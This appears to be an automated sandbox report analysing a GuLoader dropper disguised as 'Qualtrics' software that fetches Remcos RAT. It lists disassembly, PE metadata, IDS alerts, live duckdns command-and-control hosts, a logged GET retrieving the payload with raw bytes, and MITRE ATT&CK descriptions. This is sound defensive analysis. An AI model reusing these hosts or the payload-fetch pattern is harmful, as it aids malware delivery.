add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [7341F08Eh+esi], dh
iretd
inc edx
adc byte ptr [edx-57h], FFFFFFF3h
cmpsd
mov dl, 57h
mov eax, dword ptr [00000000h]
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
pushad
insd
and al, byte ptr [ebx]
insd
jne 00007FD1589ADCB4h
jc 00007FD1589ADCB3h
jne 00007FD1589ADCB5h
add byte ptr [ecx+00h], al
and byte ptr [eax], cl
inc ecx
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
add esp, dword ptr [ecx+edi*8+56852A7Dh]
out dx, eax
dec esp
mov al, byte ptr [ebx]
bound eax, dword ptr [ebp]
and dword ptr [eax+63409490h], edi
lea ebx, dword ptr [ebp+39h]
int AEh
inc edx
mov bh, 4Fh
pushfd
sbb al, A7h
insd
push ecx
call 00007FD18C482B7Fh
cdq
iretw
adc dword ptr [edi+00AA000Ch], esi
pushad
rcl dword ptr [ebx+00000000h], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
cmpsb
add byte ptr [eax], al
add byte ptr [edi+00h], al
add byte ptr [eax], al
add byte ptr [ebx], cl
add byte ptr [eax+72h], dl
outsd
jnc 0000DCB7h
imul ebp, dword ptr [edi+6Eh], 010D0037h
pop es
add byte ptr [eax+65h], cl
popad

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2a204	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2d000	0xc02	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x198	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29854	0x2a000	False	0.509759812128	data	6.93605268847	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x2b000	0x11e8	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2d000	0xc02	0x1000	False	0.254638671875	data	3.22755332063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CUSTOM	0x2d9a8	0x25a	ASCII text, with CRLF line terminators	English	United States
RT_ICON	0x2d878	0x130	data
RT_ICON	0x2d590	0x2e8	data
RT_ICON	0x2d468	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x2d438	0x30	data
RT_VERSION	0x2d1a0	0x298	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaAryMove, __vbaLenBstr, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaCyStr, __vbaVarTstLt, _CIsin, __vbaErase, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaVarTstEq, __vbaR4Str, __vbaI2I4, __vbaObjVar, DllFunctionCall, _adj_fpatan, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaFpCmpCy, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaNew2, __vbaVar2Vec, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, _CIatan, __vbaStrMove, __vbaCastObj, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	Profylaktiskes
FileVersion	1.04
CompanyName	Qualtrics
Comments	Qualtrics
ProductName	Qualtrics
ProductVersion	1.04
FileDescription	Qualtrics
OriginalFilename	Profylaktiskes.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/27/21-14:57:21.980451	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	49557	8.8.8.8	192.168.2.5
09/27/21-14:57:23.162775	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	61733	8.8.8.8	192.168.2.5
09/27/21-14:57:23.278830	TCP	2032776	ET TROJAN Remocs 3.x Unencrypted Checkin	49753	2404	192.168.2.5	23.146.242.71
09/27/21-14:57:23.563331	TCP	2032777	ET TROJAN Remocs 3.x Unencrypted Server Response	2404	49753	23.146.242.71	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 14:57:22.035547018 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.147857904 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.148011923 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.149102926 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.262342930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262448072 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262506962 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262557030 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262597084 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.262604952 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.262681007 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376322985 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376432896 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376482964 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376502037 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376530886 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376543999 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376545906 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376599073 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376615047 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376648903 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376666069 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376697063 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376745939 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376753092 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376779079 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.376785040 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.376842976 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489320040 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489356041 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489379883 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489418983 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489445925 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489567041 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489589930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489614964 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489635944 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489648104 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489654064 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489670992 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489700079 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489721060 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489734888 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.489734888 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.489835024 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.491549969 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491578102 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491594076 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491614103 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491626978 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.491794109 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602108955 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602171898 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602189064 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602288008 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602313995 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602380991 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602407932 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602417946 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602422953 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602515936 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602535009 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602546930 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602560997 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602572918 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602621078 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602705956 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602726936 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602746010 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602761984 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602801085 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602880001 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.602957010 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602976084 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.602992058 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603053093 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603125095 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603166103 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603210926 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603235006 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603256941 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603265047 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603275061 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603297949 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603313923 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.603341103 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.603425026 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604068041 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604100943 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604123116 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604156971 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604171038 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604235888 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604310989 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604329109 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604352951 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604371071 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604384899 CEST	80	49752	23.146.242.85	192.168.2.5
Sep 27, 2021 14:57:22.604399920 CEST	49752	80	192.168.2.5	23.146.242.85
Sep 27, 2021 14:57:22.604463100 CEST	49752	80	192.168.2.5	23.146.242.85

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 14:53:28.619101048 CEST	62060	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:53:28.638602972 CEST	53	62060	8.8.8.8	192.168.2.5
Sep 27, 2021 14:53:45.436956882 CEST	61805	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:53:45.457828999 CEST	53	61805	8.8.8.8	192.168.2.5
Sep 27, 2021 14:53:59.604959011 CEST	54795	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:53:59.617611885 CEST	53	54795	8.8.8.8	192.168.2.5
Sep 27, 2021 14:57:21.865385056 CEST	49557	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:57:21.980451107 CEST	53	49557	8.8.8.8	192.168.2.5
Sep 27, 2021 14:57:23.049576998 CEST	61733	53	192.168.2.5	8.8.8.8
Sep 27, 2021 14:57:23.162775040 CEST	53	61733	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 14:57:21.865385056 CEST	192.168.2.5	8.8.8.8	0xa34d	Standard query (0)	sopage.duckdns.org	A (IP address)	IN (0x0001)
Sep 27, 2021 14:57:23.049576998 CEST	192.168.2.5	8.8.8.8	0x6577	Standard query (0)	solex-wave.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 14:57:21.980451107 CEST	8.8.8.8	192.168.2.5	0xa34d	No error (0)	sopage.duckdns.org		23.146.242.85	A (IP address)	IN (0x0001)
Sep 27, 2021 14:57:23.162775040 CEST	8.8.8.8	192.168.2.5	0x6577	No error (0)	solex-wave.duckdns.org		23.146.242.71	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

sopage.duckdns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49752	23.146.242.85	80	C:\Users\user\Desktop\8TEZmAEx3U.exe

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 14:57:22.149102926 CEST	1112	OUT	GET /Remcos_s_bChlcwVW46.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: sopage.duckdns.org Cache-Control: no-cache
Sep 27, 2021 14:57:22.262342930 CEST	1113	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sun, 26 Sep 2021 08:50:35 GMT Accept-Ranges: bytes ETag: "694a3892b3b2d71:0" Server: Microsoft-IIS/8.5 Date: Mon, 27 Sep 2021 12:57:22 GMT Content-Length: 469056 Data Raw: e7 da 56 c8 54 c9 89 52 51 a6 5c 88 94 c5 ea f4 9c 2e 9a 90 3d e6 03 a9 bf b7 5d b0 c5 1a 2a 8b 40 14 e9 68 e5 98 9f 59 f8 c2 5e 89 9f e7 c3 3a 26 8c e3 f4 bb 03 ff 27 ec 82 4a c5 d1 21 ce fa a5 74 ce 44 bd 76 77 6d 5c 9e bc 42 e6 c0 d4 38 c5 bf 78 4b 0c a3 39 1d 14 84 20 a3 8f 73 f7 a1 ac a5 93 1f ad c1 6f 93 15 af a4 17 d5 19 eb 90 6c 7e 36 0e 32 0c 12 c9 cb 0a 03 eb 4e 18 f4 0d 1b ec 5c 48 67 e3 2b e7 cf af 67 1a 0b 1b e3 c6 c4 8f f3 3d f1 f4 b6 4e 4e 26 15 2d 8a f7 b9 b9 22 24 55 31 3b 56 8d 9c b9 41 55 2c b0 b9 98 37 d2 f1 cc 9b 87 07 02 38 eb 68 b6 0c 1a 1b 12 45 4d 36 c9 6e 49 7f 94 0c c8 bb 69 e2 f9 28 09 e9 9c 36 c3 b0 e6 2b df 74 04 7a 67 0a 09 55 b9 bd 02 38 17 8a 3b d6 37 de d7 c6 3d 43 ae 3d 95 8e 32 26 23 a9 16 3f ab 93 70 78 dd 15 5b c3 97 e2 3b 34 a0 03 b8 1a be 74 de fd cb 4c f0 6a d4 ba 03 bb 35 43 51 fa 6c 20 18 c3 13 6f 52 3f db d7 7b 4c 69 98 c1 82 83 13 22 29 10 86 90 ad b4 9d 0a 52 d3 bb 1b 45 df a5 fd 29 ad 5e 6c fe fa 38 48 c1 ab 3f 4e 27 d5 f6 a7 ba 87 2d 73 2e d3 be ae 8a 2e 33 db af 9e 83 38 47 a3 a1 0a 53 09 3c cc d1 c0 e9 e6 d3 1e f5 c3 40 9c cf ac 32 a6 ef 00 17 75 0b 00 39 32 78 ed b5 32 17 fc 70 2c 89 ba 1c c8 25 36 cb f9 9f 83 bd 20 53 75 10 cd a3 d9 b2 ab 92 29 ce 65 31 2d 62 d5 4b 53 4a 4b 29 4c 98 4f 25 0a c9 a3 89 c1 b2 e3 e8 74 92 9b 51 f9 02 fc 94 4d dc dc 0f 5e 74 52 c9 4b 18 7d 48 e7 df 86 df e8 cc 66 2a 75 f2 a8 3f 10 88 2e 23 64 bd 12 d6 a2 c3 de 80 35 7b 79 89 27 b1 1f 50 38 09 2a 89 4f 81 8b 6e a4 37 62 1a 9d 13 49 f3 df c3 35 42 96 24 9b 7f c7 42 3d f8 6a f1 cd c0 91 c5 94 1d a4 09 af 34 c3 94 51 a7 48 14 59 33 54 30 60 33 78 55 f3 2c 0a ff 4a 23 d9 92 90 2e e5 d3 d5 87 6f ee cc ae 52 b4 b6 9c a3 9e a3 62 75 42 62 2d e1 48 84 fc 62 c8 87 b4 22 d1 e0 ca d0 03 2c aa 97 fb d8 71 8e 24 98 36 ac 1c 93 c3 2d 74 2c 50 74 5b cc 6d ab c9 9d b7 46 91 0d 24 94 76 6b 94 77 19 92 82 c8 b0 cf c8 a2 50 68 7f d8 77 d4 7c e4 28 f2 1e 98 2d 7b b3 a1 41 de 1d fe 59 91 3c e0 ce de 77 bd fc de ab f2 17 43 18 4b 50 31 e8 65 14 2f 6a 50 ed 4d a9 bf c1 7e a2 76 21 68 b2 c9 34 a0 e7 dd f5 7a e9 64 33 7d c9 34 26 f8 e3 f7 b0 ad b0 af 35 6d 18 30 24 59 4b cf d0 ec de 80 d3 b2 2d 36 49 53 dc 1b a7 e2 0c d3 5d 05 80 c5 04 cc 56 8a a2 62 10 f3 dd 7c 14 6e 7a 9b 22 2e ab 94 6e 2f fd bd a4 1e 69 bc 6f 75 8a c3 30 13 1f cf 8e a7 c4 b6 6e a6 e6 94 b4 bf fd 8e d2 36 c9 a3 74 e5 00 19 22 00 9a e3 f5 2b 43 31 b6 76 5b cb cf b8 06 bc 92 d2 a0 2f 13 a7 60 9c a2 6a a9 fb f9 44 57 1d b3 05 99 5e ad 39 7c b1 36 e9 e3 fb 77 a3 09 4f e7 42 2a 2e 42 a0 e5 80 4e c9 83 88 18 2e da 4f c4 70 51 2e 50 25 77 cf b3 30 fc d4 5d d5 93 1b 1c 36 bb 05 b0 89 6c 53 a6 63 76 82 49 c0 00 02 5e 88 5c 5a bc f8 d9 ee f1 a2 2a a1 60 b3 18 70 fc e1 72 dc d2 53 6e db f9 f4 56 a7 14 88 24 a9 ab f0 0f a9 6c 39 e0 eb 86 5e 8c 5f 4c 00 f8 ee 69 7f 64 c1 13 a4 db 3b 19 a0 94 c7 ba 72 01 fb 1b 5d 79 46 e8 2e 5e 44 be 76 77 6d 58 9e bc 42 19 3f d4 38 7d bf 78 4b 0c a3 39 1d 54 84 20 a3 8f 73 f7 a1 ac a5 93 1f ad c1 6f 93 15 af a4 17 d5 19 eb 90 6c 7e 36 0e 32 0c 12 c9 cb 0a 03 eb 5e 19 f4 0d 15 f3 e6 46 67 57 22 2a ee 17 66 56 c6 3a b7 ae ad fc d3 4d 83 9b d1 3c 2f 4b 35 4e eb 99 d7 d6 56 04 37 54 1b 24 f8 f2 99 28 3b 0c f4 f6 cb 17 bf 9e a8 fe a9 0a 0f 32 cf 68 b6 0c 1a 1b 12 45 e7 b5 8b 5e a7 9d b8 6f 26 59 45 81 17 ca 25 8a c6 f1 fe 13 5c c9 1b 74 51 Data Ascii: VTRQ\.=]@hY^:&'J!tDvwm\B8xK9 sol~62N\Hg+g=NN&-"$U1;VAU,78hEM6nIi(6+tzgU8;7=C=2&#?px[;4tLj5CQl oR?{Li")RE)^l8H?N'-s..38GS<@2u92x2p,%6 Su)e1-bKSJK)LO%tQM^tRK}Hfu?.#d5{y'P8On7bI5B$B=j4QHY3T0`3xU,J#.oRbuBb-Hb",q$6-t,Pt[mF$vkwPhw\|(-{AY<wCKP1e/jPM~v!h4zd3}4&5m0$YK-6IS]Vb\|nz".n/iou0n6t"+C1v[/`jDW^9\|6wOB.BN.OpQ.P%w0]6lScvI^\Z`prSnV$l9^_Lid;r]yF.^DvwmXB?8}xK9T sol~62^FgW"fV:M</K5NV7T$(;2hE^o&YE%\tQ

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: 8TEZmAEx3U.exe PID: 400 Parent PID: 2940

General

Start time:	14:53:32
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\8TEZmAEx3U.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Imagebase:	0x400000
File size:	184320 bytes
MD5 hash:	28C8B2207BB3E6884E1E29575FB19BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.486721173.0000000002230000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 8TEZmAEx3U.exe PID: 6632 Parent PID: 400

General

Start time:	14:55:27
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\8TEZmAEx3U.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\8TEZmAEx3U.exe'
Imagebase:	0x400000
File size:	184320 bytes
MD5 hash:	28C8B2207BB3E6884E1E29575FB19BEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.761066423.0000000000707000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Disassembly

Code Analysis

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Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
